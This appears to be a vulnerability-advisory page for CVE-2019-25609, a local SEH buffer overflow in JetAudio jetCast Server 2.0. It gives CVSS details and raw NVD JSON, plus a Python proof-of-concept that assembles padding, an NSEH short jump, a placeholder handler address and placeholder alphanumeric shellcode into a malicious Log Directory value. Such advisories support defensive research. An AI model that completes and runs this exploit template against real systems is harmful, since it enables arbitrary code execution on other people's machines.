Security Vulnerability Report
中文
CVE-2019-25609 CVSS 8.4 HIGH

CVE-2019-25609

Published: 2026-03-22 14:16:29
Last Modified: 2026-04-16 16:19:51

Description

JetAudio jetCast Server 2.0 contains a stack-based buffer overflow vulnerability in the Log Directory configuration field that allows local attackers to overwrite structured exception handling pointers. Attackers can inject alphanumeric encoded shellcode through the Log Directory field to trigger an SEH exception handler and execute arbitrary code with application privileges.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

JetAudio jetCast Server 2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2019-25609 # This script demonstrates the payload structure for the SEH overwrite vulnerability. # Note: Offset and specific addresses need to be adjusted based on the debugger analysis. import struct # Configuration offset = 524 # Hypothetical offset to overwrite SEH # Replace with a valid 'POP POP RET' address from a non-ASLR module (e.g., 0x1001b858) seh_address = struct.pack('<L', 0x11111111) # Short jump to shellcode (6 bytes back) nseh = b"\xeb\x06\x90\x90" # Alphanumeric encoded shellcode (e.g., generated by msfvenom -b '\x00\x0a\x0d') # Example placeholder shellcode shellcode = b"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlIkX4PLO4KP0OPLRKRP9O9RKO9ORLKOPL0WPNKPN0WLK0XPNKL0Y4KQKOPLKO9ORLKO9ORLKOP2KO9ORLKOP1KO9ORLKO9ORLKOPLKO9ORLKO9ORLK" # Construct the payload # Padding to reach the SEH record padding = b"A" * offset # Combine parts: Padding + Next SEH + SE Handler + Shellcode payload = padding + nseh + seh_address + shellcode try: # In a real scenario, this payload would be set in the 'Log Directory' config file or input field print(f"[+] Payload generated successfully (Length: {len(payload)} bytes)") print(f"[+] Payload preview: {payload[:50]}...") # Save to file for testing with open('payload.txt', 'wb') as f: f.write(payload) print("[+] Payload saved to payload.txt. Set this as the Log Directory path.") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2019-25609", "sourceIdentifier": "[email protected]", "published": "2026-03-22T14:16:28.990", "lastModified": "2026-04-16T16:19:50.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "JetAudio jetCast Server 2.0 contains a stack-based buffer overflow vulnerability in the Log Directory configuration field that allows local attackers to overwrite structured exception handling pointers. Attackers can inject alphanumeric encoded shellcode through the Log Directory field to trigger an SEH exception handler and execute arbitrary code with application privileges."}, {"lang": "es", "value": "JetAudio jetCast Servidor 2.0 contiene una vulnerabilidad de desbordamiento de búfer basado en pila en el campo de configuración Log Directory que permite a atacantes locales sobrescribir punteros de gestión de excepciones estructurada. Los atacantes pueden inyectar shellcode codificado alfanumérico a través del campo Log Directory para activar un gestor de excepciones SEH y ejecutar código arbitrario con privilegios de aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "http://www.jetaudio.com/", "source": "[email protected]"}, {"url": "http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-d890330ec672/jetAudio/Download/jetCast/build/JCS2000.exe", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/46854", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/jetaudio-jetcast-server-local-seh-buffer-overflow", "source": "[email protected]"}]}}